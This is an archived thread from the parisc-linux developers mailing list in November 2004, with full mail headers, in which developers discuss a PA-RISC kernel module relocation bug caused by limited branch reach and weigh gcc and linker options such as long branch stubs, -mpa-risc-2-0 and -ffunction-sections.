	by free.linux.hp.com (Postfix) with ESMTP id 475563BE5B
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 29 Nov 2004 16:57:42 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 03133-05 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 29 Nov 2004 16:57:41 -0700 (MST)
Original-Received: from arwen.tausq.org (legolas.tausq.org [64.81.244.109])
	by free.linux.hp.com (Postfix) with ESMTP id CAC333BE54
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 29 Nov 2004 16:57:40 -0700 (MST)
Original-Received: by arwen.tausq.org (Postfix, from userid 1000)
	id 5BFBB43810; Mon, 29 Nov 2004 15:57:37 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <200411292353.iATNrAc4005771@hiauly1.hia.nrc.ca>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.6+20040722i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22153

In reference to a message from John David Anglin, dated Nov 29:
> > to fix this we will probably need to introduce long branch stubs into 
> > into the kernel module loader. anybody want to give this a shot?
> 
> Another option which is probably less work is to build your kernel
> and modules with -mpa-risc-2-0.  This should give you 22-bit branches.

btw, Dave, pls correct me if i'm wrong:
is it correct that the problem only occurs because we are producing a .o
from multiple .o's? inside a single .o gcc should ensure that all
branches can reach the beginning and end of that .o using a 17-bit
relative branches, right?

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kernel module relocation bug
Date: Mon, 29 Nov 2004 19:08:31 -0500 (EST)
Lines: 25
Approved: news@gmane.org
Message-ID: <200411300008.iAU08WAe010494@hiauly1.hia.nrc.ca>
References: <20041129235737.GQ6359@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623608 11860 80.91.229.3 (22 Nov 2014 02:33:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:28 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: randolph@tausq.org
Original-X-From: - Wed Jul 02 21:27:15 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 7693 invoked by uid 65534); 30 Nov 2004 00:09:17 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx060) with SMTP; 30 Nov 2004 01:09:17 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 25CF93BE5F; Mon, 29 Nov 2004 17:08:52 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03221-05; Mon, 29 Nov 2004 17:08:52 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 7B2B03BE61; Mon, 29 Nov 2004 17:08:44 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F2E6E3BE5D
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 29 Nov 2004 17:08:36 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 03221-03 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 29 Nov 2004 17:08:35 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 527543BE5B
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 29 Nov 2004 17:08:34 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	iAU08Wko010498; Mon, 29 Nov 2004 19:08:33 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id iAU08WAe010494;
	Mon, 29 Nov 2004 19:08:32 -0500 (EST)
In-Reply-To: <20041129235737.GQ6359@tausq.org> from "Randolph Chung" at Nov 29,
	2004 06:57:37 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22154

> btw, Dave, pls correct me if i'm wrong:
> is it correct that the problem only occurs because we are producing a .o
> from multiple .o's? inside a single .o gcc should ensure that all
> branches can reach the beginning and end of that .o using a 17-bit
> relative branches, right?

If you don't use -ffunction-sections, gcc ensure that branches can reach
the beginning of an individual .o.  All bets are off if you use relinking
to combine .o's.

With -ffunction-sections, gcc guarantees that calls can reach the
beginning of a function plus some margin for the stub table.  The linker
inserts stubs on a per function basis.  This should work better with
relinking as the functions remain in their own sections.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kernel module relocation bug
Date: Mon, 29 Nov 2004 18:46:08 -0500 (EST)
Lines: 18
Approved: news@gmane.org
Message-ID: <200411292346.iATNk8hq003726@hiauly1.hia.nrc.ca>
References: <200411292251.iATMp5i2007453@arbas.nms.ulrich-teichert.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623609 11862 80.91.229.3 (22 Nov 2014 02:33:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:29 +0000 (UTC)
Cc: krypton@ulrich-teichert.org,
 James.Bottomley@SteelEye.com,
 tausq@debian.org,
 parisc-linux@lists.parisc-linux.org
To: krypton@ulrich-teichert.org (Ulrich Teichert)
Original-X-From: - Wed Jul 02 21:27:15 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 31565 invoked by uid 65534); 30 Nov 2004 00:09:44 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx058) with SMTP; 30 Nov 2004 01:09:44 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id B89E83BE4F; Mon, 29 Nov 2004 16:46:42 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02617-05; Mon, 29 Nov 2004 16:46:42 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id BA7663BE52; Mon, 29 Nov 2004 16:46:27 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2EBFB3BE26
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 29 Nov 2004 16:46:13 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 02030-09 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 29 Nov 2004 16:46:12 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 323FC3BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 29 Nov 2004 16:46:11 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	iATNk9ko003727; Mon, 29 Nov 2004 18:46:09 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id iATNk8hq003726;
	Mon, 29 Nov 2004 18:46:08 -0500 (EST)
In-Reply-To: <200411292251.iATMp5i2007453@arbas.nms.ulrich-teichert.org> from
	"Ulrich Teichert" at Nov 29, 2004 05:51:05 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22155

> Ah, then most likely, my toolchain is too old. I'm using debian woody =

Yes.

> What ld/gas/gcc versions would you recommend? Do I need extra patches?

Binutils 2.15, gcc 3.3.4.  No.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kernel module relocation bug
Date: 29 Nov 2004 18:11:44 -0600
Lines: 21
Approved: news@gmane.org
Message-ID: <1101773511.1714.98.camel@mulgrave>
References: <200411300008.iAU08WAe010494@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623609 11865 80.91.229.3 (22 Nov 2014 02:33:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:29 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:15 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 16813 invoked by uid 65534); 30 Nov 2004 00:12:21 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx038) with SMTP; 30 Nov 2004 01:12:21 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 13D3C3BE69; Mon, 29 Nov 2004 17:12:16 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03468-01; Mon, 29 Nov 2004 17:12:14 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 97F613BE61; Mon, 29 Nov 2004 17:12:07 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D09C83BE5B
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 29 Nov 2004 17:12:03 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 03240-07 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 29 Nov 2004 17:12:02 -0700 (MST)
Original-Received: from hancock.sc.steeleye.com (stat16.steeleye.com [209.192.50.48])
	by free.linux.hp.com (Postfix) with ESMTP id F15DA3BE4F
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 29 Nov 2004 17:12:01 -0700 (MST)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id
	iAU0Bpp25556; Mon, 29 Nov 2004 19:11:51 -0500
In-Reply-To: <200411300008.iAU08WAe010494@hiauly1.hia.nrc.ca>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22156

On Mon, 2004-11-29 at 18:08, John David Anglin wrote:
> With -ffunction-sections, gcc guarantees that calls can reach the
> beginning of a function plus some margin for the stub table.  The linker
> inserts stubs on a per function basis.  This should work better with
> relinking as the functions remain in their own sections.

So what we really need is the equivalent of -ffunction-sections for the
linker where, when we combine a bunch of .o's it sees if the branches
are getting too far a way and drops a stub in between the function
sections (so that the in-kernel linker doesn't have to bother about
doing this).

James


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kernel module relocation bug
Date: Mon, 29 Nov 2004 19:23:35 -0500 (EST)
Lines: 25
Approved: news@gmane.org
Message-ID: <200411300023.iAU0NaI2014797@hiauly1.hia.nrc.ca>
References: <1101773511.1714.98.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623609 11866 80.91.229.3 (22 Nov 2014 02:33:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:29 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: James.Bottomley@SteelEye.com (James Bottomley)
Original-X-From: - Wed Jul 02 21:27:15 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 26956 invoked by uid 65534); 30 Nov 2004 00:24:05 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx021) with SMTP; 30 Nov 2004 01:24:04 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 595A03BE6D; Mon, 29 Nov 2004 17:23:59 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03471-06; Mon, 29 Nov 2004 17:23:59 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 2E79D3BE63; Mon, 29 Nov 2004 17:23:50 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F271B3BE5F
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 29 Nov 2004 17:23:40 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 03468-03 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 29 Nov 2004 17:23:39 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 0C1D53BE5B
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 29 Nov 2004 17:23:38 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca ([127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	iAU0Nako014800; Mon, 29 Nov 2004 19:23:37 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id iAU0NaI2014797;
	Mon, 29 Nov 2004 19:23:36 -0500 (EST)
In-Reply-To: <1101773511.1714.98.camel@mulgrave> from "James Bottomley" at Nov
	29, 2004 07:11:44 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22157

> On Mon, 2004-11-29 at 18:08, John David Anglin wrote:
> > With -ffunction-sections, gcc guarantees that calls can reach the
> > beginning of a function plus some margin for the stub table.  The linker
> > inserts stubs on a per function basis.  This should work better with
> > relinking as the functions remain in their own sections.
> 
> So what we really need is the equivalent of -ffunction-sections for the
> linker where, when we combine a bunch of .o's it sees if the branches
> are getting too far a way and drops a stub in between the function
> sections (so that the in-kernel linker doesn't have to bother about
> doing this).

Then, in the final or in-kernel link, the long branch stubs get
fixed.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kernel module relocation bug
Date: Mon, 29 Nov 2004 15:54:44 -0800
Lines: 23
Approved: news@gmane.org
Message-ID: <20041129235444.GP6359@tausq.org>
References: <20041127064710.GL9148@tausq.org>
	<200411292353.iATNrAc4005771@hiauly1.hia.nrc.ca>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623610 11869 80.91.229.3 (22 Nov 2014 02:33:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:30 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:15 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 18166 invoked by uid 65534); 30 Nov 2004 00:26:25 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx038) with SMTP; 30 Nov 2004 01:26:24 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 3F2BB3BE60; Mon, 29 Nov 2004 16:55:08 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03102-05; Mon, 29 Nov 2004 16:55:08 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 5F5FF3BE5D; Mon, 29 Nov 2004 16:55:02 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6EFF43BE54
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 29 Nov 2004 16:54:48 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 03102-02 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 29 Nov 2004 16:54:47 -0700 (MST)
Original-Received: from arwen.tausq.org (legolas.tausq.org [64.81.244.109])
	by free.linux.hp.com (Postfix) with ESMTP id 0E83D3BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 29 Nov 2004 16:54:47 -0700 (MST)
Original-Received: by arwen.tausq.org (Postfix, from userid 1000)
	id 57C1643810; Mon, 29 Nov 2004 15:54:44 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <200411292353.iATNrAc4005771@hiauly1.hia.nrc.ca>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.6+20040722i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22158

> Another option which is probably less work is to build your kernel
> and modules with -mpa-risc-2-0.  This should give you 22-bit branches.

well, except these 32-bit kernel/modules need to work on pa11 systems
too....

> There is also -mlong-calls.  Not too well tested but in theory it
> should always avoid the above problem.  It's much more expensive
> than -mpa-risc-2-0.

mmm.. maybe this is an option for pa11 systems.

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:43 2018
